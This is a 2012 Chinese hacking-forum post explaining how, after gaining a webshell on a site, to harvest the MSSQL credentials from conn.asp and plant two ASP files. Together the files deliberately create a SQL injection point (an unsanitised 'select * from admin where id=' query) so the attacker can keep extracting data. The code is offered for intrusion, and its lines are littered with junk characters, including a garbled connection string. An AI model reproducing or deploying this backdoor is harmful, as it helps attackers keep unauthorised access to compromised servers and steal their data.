找回密码
 立即注册
查看: 2518|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
/ ^# k# g! N( h, \: ~
% b6 H0 `% N; n! i* A" a今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息4 w" ~" C* t# P3 Y) s4 w- e

" c; L# E3 w6 k% b% Y5 Q这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
( r) f0 z. J0 X( p
% W) M8 }4 V/ i- Y& F3 T" j首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和4 w. u) U5 {# K2 [; u! [

' E% ~: v% T. Y5 }% e' k8 ~; ^密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
3 a+ Y$ b# r- P" o4 ], a. _- w( z* G! I3 f  p9 ^
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:! w/ M& z0 x. c8 R+ h) @4 z

( ]1 |! F4 q" c* K; q& c$ \程序代码3 g& K' D! v) l+ W) Z5 Y  C
<!--#include file="xx.asp"-->* S6 R2 s  U  w- Y
<%
- M2 H; `0 Y  y5 Kset rs=server.createobject("ADODB.recordset")
% @: {' e/ l8 Cid = request("id")
; S9 ~- r' \8 O! s& lstrSQL = "select * from admin where id=" & id: Q& o( w, _% r- l( {+ ~3 ^& {, T- I
rs.open strSQL,conn,1,3$ |, m" U3 R1 g! N; k) j0 u
rs.close7 m/ g" `3 N: l! V2 H& u9 }6 `6 L
%>
- B1 r' ^7 n+ A/ {1 l# l' S
" n& m; A7 }, V0 F% B0 D把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
6 L  c8 p: P8 c2 _5 g
, f, \% T/ M' G你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!) [" w2 O+ w) }! J+ c; l5 K, J1 Y
5 w8 r& p7 U" f$ H" z
然后就要构造一个连接数据库的文件了,代码如下:
3 I8 K; f5 Z: \程序代码. l" {5 g3 r$ K
<%        3 y% [2 f- m& V, N: u4 y9 O
strSQLServerName = "000.000.000.000"     '服务器名称或地址
, F! \# W3 `3 t# n* N3 u7 O: ~strSQLDBUserName = "sqlname"         '数据库帐号
+ h: q! @6 P+ VstrSQLDBPassword = "sqlpass"         '数据库密码6 y8 d% d9 b; R. S( H
strSQLDBName = "sqldataname"           '数据库名称! D: r! N& b9 ^3 N
Set conn = Server.CreateObject("ADODB.Connection")$ T' ^% S% ^9 o/ {' t, K
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";") q) U  p0 n! K8 z+ Q, j' C8 e
conn.open strCon
) Z: w! T1 ], P4 C: N7 [%>
) S  ^; c: N! {+ U: u' b5 s7 ?7 D% b. S
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
: l$ ~6 n5 U  P9 J2 W4 {! ^; V5 S/ s5 w( H# c$ z3 b7 |9 k% q
就这样,正常情况下,就OK了,伪造成功……7 ?0 I/ q" {3 S8 v9 I
- E7 y/ y8 h; \8 y
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表